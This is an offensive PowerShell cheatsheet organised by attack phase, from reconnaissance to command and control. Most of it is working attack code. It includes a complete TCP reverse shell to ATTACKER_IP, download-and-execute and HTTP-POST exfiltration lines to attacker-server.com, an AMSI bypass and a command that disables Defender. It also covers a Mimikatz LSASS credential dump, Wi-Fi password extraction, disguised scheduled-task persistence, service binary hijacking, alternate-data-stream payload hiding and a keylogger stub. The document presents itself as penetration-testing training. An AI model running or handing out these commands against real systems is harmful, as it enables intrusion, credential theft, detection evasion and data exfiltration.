Powershell Basic Training Workflow

PowerShell for Security & Development: Training Workflow Cheatsheet

This cheatsheet is organised into a logical workflow, from initial reconnaissance to advanced persistence and evasion.

Use this resource responsibly and only on systems you own or have explicit permission to test.

Legend & Best Practices

  • #: Comment explaining the command.

  • $*: Represents a placeholder you must replace.

  • OPSEC (Operational Security): Always consider the detectability of these commands. Many are flagged by Endpoint Detection and Response (EDR) systems.

  • Execution Policy: The first step is often to bypass the restrictive execution policy.

    # Common Bypass Methods
    powershell.exe -ExecutionPolicy Bypass -File .\script.ps1
    powershell.exe -EP Bypass -Command "Get-Process"
    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

Phase 1: Reconnaissance & Enumeration

Goal: Gather information about the target system and network.

System Information

# OS Details
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property Version, BuildNumber, Caption, OSArchitecture

# Computer System Info (Model, RAM)
Get-WmiObject -Class Win32_ComputerSystem

# Hotfix History
Get-HotFix | Sort-Object -Property InstalledOn -Descending

Network Configuration

# Detailed IP Config
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv4Address, IPv6Address, DNSServer

# Network Adapters
Get-NetAdapter | Where-Object Status -eq 'Up'

# Active TCP Connections
Get-NetTCPConnection | Where-Object State -eq 'Established'

User & Domain Information

# Current User Context
whoami /all

# Local Users
Get-LocalUser

# Domain Users (Requires AD Module)
Get-ADUser -Filter * -Properties Name, Enabled, LastLogonDate | Select-Object Name, Enabled, LastLogonDate

# Domain Computers
Get-ADComputer -Filter * | Select-Object Name

Process & Service Enumeration

# Top Processes by CPU
Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 10 ProcessName, Id, CPU

# Services (Non-Stopped)
Get-Service | Where-Object Status -eq 'Running'

Phase 2: Credential Access & Harvesting

Goal: Locate and extract credentials from various sources.

Stored Credentials

# Wi-Fi Profiles & Passwords
netsh wlan show profile name="*" key=clear

# Credentials from Vault (Interactive)
Get-Credential; $cred.GetNetworkCredential() | Select-Object UserName, Password

# Browser Password Extraction (Requires external tools like `Invoke-WebBrowserPasswordDump`)
# Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt

# Saved RDP Credentials
cmdkey /list

In-Memory Credentials (Mimikatz)

# Dump LSASS Memory for Logon Passwords (Requires Mimikatz in memory)
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:\temp\logonpasswords.txt

# Bypass AMSI to run Mimikatz/other scripts
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

File System & Registry Searches

# Find Files Containing 'password'
Get-ChildItem -Path C:\ -Include *.txt, *.xml, *.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

# Read a specific Config File
Select-String -Path C:\inetpub\wwwroot\web.config -Pattern 'connectionString'

Phase 3: Execution & Lateral Movement

Goal: Execute code on the local and remote systems.

Local Execution

# In-Memory Script Execution
$code = [System.IO.File]::ReadAllText('C:\temp\script.ps1'); Invoke-Expression $code

# Download & Execute (IEX)
$url = 'http://attacker-server.com/payload.ps1'
Invoke-Expression (New-Object Net.WebClient).DownloadString($url)

Remote Execution

# PowerShell Remoting (WinRM)
Invoke-Command -ComputerName TARGET-PC -ScriptBlock { Get-Process } -Credential (Get-Credential)

# WMI Execution
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName TARGET-PC

# Scheduled Task for one-off execution
Invoke-SchTask -ComputerName TARGET-PC -Command "calc.exe" -TaskName "MyTask"

Persistence Mechanisms

# Create a Scheduled Task for Persistence (Run at Logon)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:\persist\payload.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CleanUp" -Description "System Cleanup" -RunLevel Highest

Phase 4: Privilege Escalation

Goal: Gain higher privileges on the current system.

Token Manipulation

# Check current token privileges
Get-NtTokenPrivilege

# Enable a critical privilege (e.g., Debug)
Enable-NtTokenPrivilege SeDebugPrivilege

# Impersonate a token from another process (Requires SeDebugPrivilege)
$proc = Get-NtProcess -Name 'lsass'
$token = Get-NtToken -Primary -Process $proc -Duplicate
Use-NtObject($token.Impersonate()) { # Commands run as the impersonated user }

Service Abuse

# Find services with weak permissions (e.g., writable binary path)
Get-CimInstance Win32_Service | Where-Object { $_.StartName -notlike "NT AUTHORITY*" -and $_.StartName -notlike "LocalSystem" } | Select-Object Name, StartName, PathName

# If you can modify a service, reconfigure it and restart it.
sc.exe config "VulnerableService" binPath= "C:\malicious\payload.exe"
sc.exe stop "VulnerableService"
sc.exe start "VulnerableService"

UAC Bypass

# Manual elevation (triggers UAC prompt)
Start-Process notepad -Verb runas

# Many UAC bypass techniques exist (e.g., eventvwr, fodhelper) which often involve registry manipulation.

Phase 5: Defence Evasion & Obfuscation

Goal: Avoid detection by security tools and analysts.

AMSI & Defender Bypass

# Classic AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Disable Windows Defender Realtime Monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

Command & String Obfuscation

# Base64 Encoding
$command = 'Get-Process'
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encodedCmd

# String Splitting & Concatenation
$o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Expression $cmd

# Aliasing
Set-Alias -Name 'MyDir' -Value 'Get-ChildItem'; MyDir

File & Memory Evasion

# Alternate Data Streams (ADS)
Set-Content -Path 'C:\temp\normal.txt' -Value 'Benign Text'
Set-Content -Path 'C:\temp\normal.txt:malicious.ps1' -Value 'Invoke-Mimikatz'
# Execute from ADS: powershell.exe -ep bypass -File C:\temp\normal.txt:malicious.ps1

# Runspace Execution (Stealthier than IEX)
$runspace = [runspacefactory]::CreateRunspace(); $runspace.Open()
$pipeline = $runspace.CreatePipeline(); $pipeline.Commands.AddScript('Get-Process')
$results = $pipeline.Invoke(); $runspace.Close()

Phase 6: Command & Control (C2)

Goal: Establish a remote channel for command execution and data exfiltration.

Reverse Shells

# Basic TCP Reverse Shell
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP', ATTACKER_PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Encrypted & Resilient C2

# WebSocket Reverse Shell (More stealthy)
# (See the original example for the full, complex script)

# DNS Exfiltration Shell
# (Uses nslookup to send data, very stealthy for egress)

Phase 7: Discovery & Pillaging

Goal: Find, collect, and exfiltrate sensitive data.

File System Monitoring

# Monitor for new files in a directory
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = 'C:\Users\Public\Documents'
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
$action = { Write-Host "File Created: $($Event.SourceEventArgs.FullPath)" }
Register-ObjectEvent $watcher 'Created' -Action $action

Network Sniffing

# Start a packet capture session (Requires admin)
New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'
Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable
Start-NetEventSession -Name 'Session1'
# ... Stop after some time
Stop-NetEventSession -Name 'Session1'

Data Exfiltration

# Out-of-Band via HTTP POST
$data = Get-Process | ConvertTo-Json
Invoke-RestMethod -Uri 'http://attacker-server.com/exfil' -Method Post -Body $data

Appendix: Advanced Techniques

PowerShell & .NET Integration

# Compile and run C# code on the fly
Add-Type -TypeDefinition @"
    using System;
    public class MyClass {
        public static void Run() {
            Console.WriteLine("Hello from C#!");
        }
    }
"@
[MyClass]::Run()

Windows API Calls via P/Invoke

# Keylogger using User32.dll GetAsyncKeyState
Add-Type -TypeDefinition @"
    using System;
    using System.Runtime.InteropServices;
    public class KeyLogger {
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int vKey);
    }
"@
# ... Loop and check key states (see original example for full loop)

Low-Level System Interaction (NtObjectManager Module)

# Find writable/executable memory in a process (for shellcode injection)
Get-NtVirtualMemory -Process $proc | Where-Object { $_.Protect -band "ExecuteReadWrite" }

# Find shared sections between processes (for privilege escalation)
Get-NtHandle -ObjectType Section -GroupByAddress | Where-Object ShareCount -eq 2

Quick-Reference Command Index

Category

Primary Cmdlet / Technique

Enumeration

Get-WmiObject, Get-NetIPConfiguration, Get-ADUser

Credential Access

Invoke-Mimikatz, netsh wlan show profile, cmdkey /list

Execution

Invoke-Expression (IEX), Invoke-Command, New-ScheduledTask

Privilege Escalation

Get-NtTokenPrivilege, Enable-NtTokenPrivilege, sc.exe config

Defense Evasion

AMSI Bypass, Set-ExecutionPolicy Bypass, Base64 Encoding

C2

TCPClient Reverse Shell, Invoke-WebRequest, Invoke-RestMethod

Persistence

Register-ScheduledTask, New-ItemProperty (Registry)

Final Warning: This is a powerful resource. Use it to strengthen your defences by understanding the offensive techniques.

Last updated